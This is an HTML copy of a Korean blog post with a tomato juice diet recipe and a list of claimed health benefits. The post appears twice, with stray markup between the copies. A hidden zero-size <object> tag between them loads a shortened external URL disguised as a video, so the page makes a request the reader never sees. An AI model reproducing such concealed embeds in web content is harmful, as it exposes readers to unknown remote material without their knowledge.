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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">토마토 주스로 건강과 다이어트를 동시에!</h2><p data-sourcepos="3:1-3:95"><strong>토마토 주스</strong>는 비타민, 미네랄이 풍부하고 칼로리가 낮아 다이어트 음료로 인기가 많습니다. 아침 식사 대용이나 간식으로도 좋고, 건강을 위한 한 잔으로도 손색없죠.</p><p data-sourcepos="5:1-5:25"><strong>다이어트에 좋은 토마토 주스 만드는 법</strong></p><ul data-sourcepos="7:1-17:0">
<li data-sourcepos="7:1-11:13"><strong>재료:</strong>
<ul data-sourcepos="8:5-11:13">
<li data-sourcepos="8:5-8:14">토마토 3~5개</li>
<li data-sourcepos="9:5-9:26">물 약간 (원하는 농도에 따라 조절)</li>
<li data-sourcepos="10:5-10:20">꿀 또는 스테비아 (선택)</li>
<li data-sourcepos="11:5-11:13">얼음 (선택)</li>
</ul>
</li>
<li data-sourcepos="12:1-17:0"><strong>만드는 법:</strong>
<ol data-sourcepos="13:5-17:0">
<li data-sourcepos="13:5-13:30">토마토를 깨끗하게 씻어 꼭지를 제거합니다.</li>
<li data-sourcepos="14:5-14:29">믹서기에 토마토와 물을 넣고 갈아줍니다.</li>
<li data-sourcepos="15:5-15:37">취향에 따라 꿀이나 스테비아를 넣어 단맛을 조절합니다.</li>
<li data-sourcepos="16:5-17:0">얼음을 넣어 시원하게 즐기면 더욱 좋습니다.</li>
</ol>
</li>
</ul><p data-sourcepos="18:1-18:14"><strong>토마토 주스의 효능</strong></p><ul data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:42"><strong>다이어트:</strong> 칼로리가 낮고 포만감을 주어 다이어트에 도움을 줍니다.</li>
<li data-sourcepos="21:1-21:46"><strong>피부 미용:</strong> 비타민 C가 풍부하여 피부를 맑게 해주고 노화를 방지합니다.</li>
<li data-sourcepos="22:1-22:41"><strong>혈압 조절:</strong> 칼륨이 풍부하여 혈압을 조절하는 데 도움을 줍니다.</li>
<li data-sourcepos="23:1-23:35"><strong>눈 건강:</strong> 비타민 A가 풍부하여 눈 건강에 좋습니다.</li>
<li data-sourcepos="24:1-25:0"><strong>소화 촉진:</strong> 소화액 분비를 촉진하여 소화를 돕습니다.</li>
</ul><p data-sourcepos="26:1-26:25"><strong>토마토 주스를 더욱 맛있게 즐기는 방법</strong></p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:66"><strong>다른 과일과 함께:</strong> 바나나, 오렌지, 사과 등 다른 과일과 함께 갈아 마시면 다양한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="29:1-29:65"><strong>채소와 함께:</strong> 셀러리, 오이, 파프리카 등 채소와 함께 갈아 마시면 영양을 더욱 풍부하게 할 수 있습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>시즈닝:</strong> 소금, 후추, 레몬즙 등을 넣어 다양한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="32:1-32:8"><strong>주의사항</strong></p><ul data-sourcepos="34:1-36:0">
<li data-sourcepos="34:1-34:30">토마토 알레르기가 있는 경우 섭취를 피해야 합니다.</li>
<li data-sourcepos="35:1-36:0">찬 성질을 가지고 있으므로 몸이 찬 사람은 따뜻하게 데워 마시는 것이 좋습니다.</li>
</ul><p data-sourcepos="37:1-37:29"><strong>아침 과일 주스로 건강하게 하루를 시작하세요!</strong></p><p data-sourcepos="39:1-39:77">토마토 주스는 건강과 다이어트를 동시에 챙길 수 있는 최고의 선택입니다. 매일 아침 토마토 주스 한 잔으로 활기찬 하루를 시작해 보세요.</p><p data-sourcepos="41:1-41:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><ul data-sourcepos="42:1-43:0">
<li data-sourcepos="42:1-43:0">예를 들어, "토마토 주스에 우유를 넣어도 될까요?" 와 같은 질문을 할 수 있습니다.</li>
</ul><p data-sourcepos="44:1-44:35"><strong>토마토주스 다이어트 건강주스 아침과일주스 레시피</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">토마토 주스로 건강과 다이어트를 동시에!</h2><p data-sourcepos="3:1-3:95"><strong>토마토 주스</strong>는 비타민, 미네랄이 풍부하고 칼로리가 낮아 다이어트 음료로 인기가 많습니다. 아침 식사 대용이나 간식으로도 좋고, 건강을 위한 한 잔으로도 손색없죠.</p><p data-sourcepos="5:1-5:25"><strong>다이어트에 좋은 토마토 주스 만드는 법</strong></p><ul data-sourcepos="7:1-17:0">
<li data-sourcepos="7:1-11:13"><strong>재료:</strong>
<ul data-sourcepos="8:5-11:13">
<li data-sourcepos="8:5-8:14">토마토 3~5개</li>
<li data-sourcepos="9:5-9:26">물 약간 (원하는 농도에 따라 조절)</li>
<li data-sourcepos="10:5-10:20">꿀 또는 스테비아 (선택)</li>
<li data-sourcepos="11:5-11:13">얼음 (선택)</li>
</ul>
</li>
<li data-sourcepos="12:1-17:0"><strong>만드는 법:</strong>
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<li data-sourcepos="13:5-13:30">토마토를 깨끗하게 씻어 꼭지를 제거합니다.</li>
<li data-sourcepos="14:5-14:29">믹서기에 토마토와 물을 넣고 갈아줍니다.</li>
<li data-sourcepos="15:5-15:37">취향에 따라 꿀이나 스테비아를 넣어 단맛을 조절합니다.</li>
<li data-sourcepos="16:5-17:0">얼음을 넣어 시원하게 즐기면 더욱 좋습니다.</li>
</ol>
</li>
</ul><p data-sourcepos="18:1-18:14"><strong>토마토 주스의 효능</strong></p><ul data-sourcepos="20:1-25:0">
<li data-sourcepos="20:1-20:42"><strong>다이어트:</strong> 칼로리가 낮고 포만감을 주어 다이어트에 도움을 줍니다.</li>
<li data-sourcepos="21:1-21:46"><strong>피부 미용:</strong> 비타민 C가 풍부하여 피부를 맑게 해주고 노화를 방지합니다.</li>
<li data-sourcepos="22:1-22:41"><strong>혈압 조절:</strong> 칼륨이 풍부하여 혈압을 조절하는 데 도움을 줍니다.</li>
<li data-sourcepos="23:1-23:35"><strong>눈 건강:</strong> 비타민 A가 풍부하여 눈 건강에 좋습니다.</li>
<li data-sourcepos="24:1-25:0"><strong>소화 촉진:</strong> 소화액 분비를 촉진하여 소화를 돕습니다.</li>
</ul><p data-sourcepos="26:1-26:25"><strong>토마토 주스를 더욱 맛있게 즐기는 방법</strong></p><ul data-sourcepos="28:1-31:0">
<li data-sourcepos="28:1-28:66"><strong>다른 과일과 함께:</strong> 바나나, 오렌지, 사과 등 다른 과일과 함께 갈아 마시면 다양한 맛을 즐길 수 있습니다.</li>
<li data-sourcepos="29:1-29:65"><strong>채소와 함께:</strong> 셀러리, 오이, 파프리카 등 채소와 함께 갈아 마시면 영양을 더욱 풍부하게 할 수 있습니다.</li>
<li data-sourcepos="30:1-31:0"><strong>시즈닝:</strong> 소금, 후추, 레몬즙 등을 넣어 다양한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="32:1-32:8"><strong>주의사항</strong></p><ul data-sourcepos="34:1-36:0">
<li data-sourcepos="34:1-34:30">토마토 알레르기가 있는 경우 섭취를 피해야 합니다.</li>
<li data-sourcepos="35:1-36:0">찬 성질을 가지고 있으므로 몸이 찬 사람은 따뜻하게 데워 마시는 것이 좋습니다.</li>
</ul><p data-sourcepos="37:1-37:29"><strong>아침 과일 주스로 건강하게 하루를 시작하세요!</strong></p><p data-sourcepos="39:1-39:77">토마토 주스는 건강과 다이어트를 동시에 챙길 수 있는 최고의 선택입니다. 매일 아침 토마토 주스 한 잔으로 활기찬 하루를 시작해 보세요.</p><p data-sourcepos="41:1-41:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><ul data-sourcepos="42:1-43:0">
<li data-sourcepos="42:1-43:0">예를 들어, "토마토 주스에 우유를 넣어도 될까요?" 와 같은 질문을 할 수 있습니다.</li>
</ul><p data-sourcepos="44:1-44:35"><strong>토마토주스 다이어트 건강주스 아침과일주스 레시피</strong></p></div>
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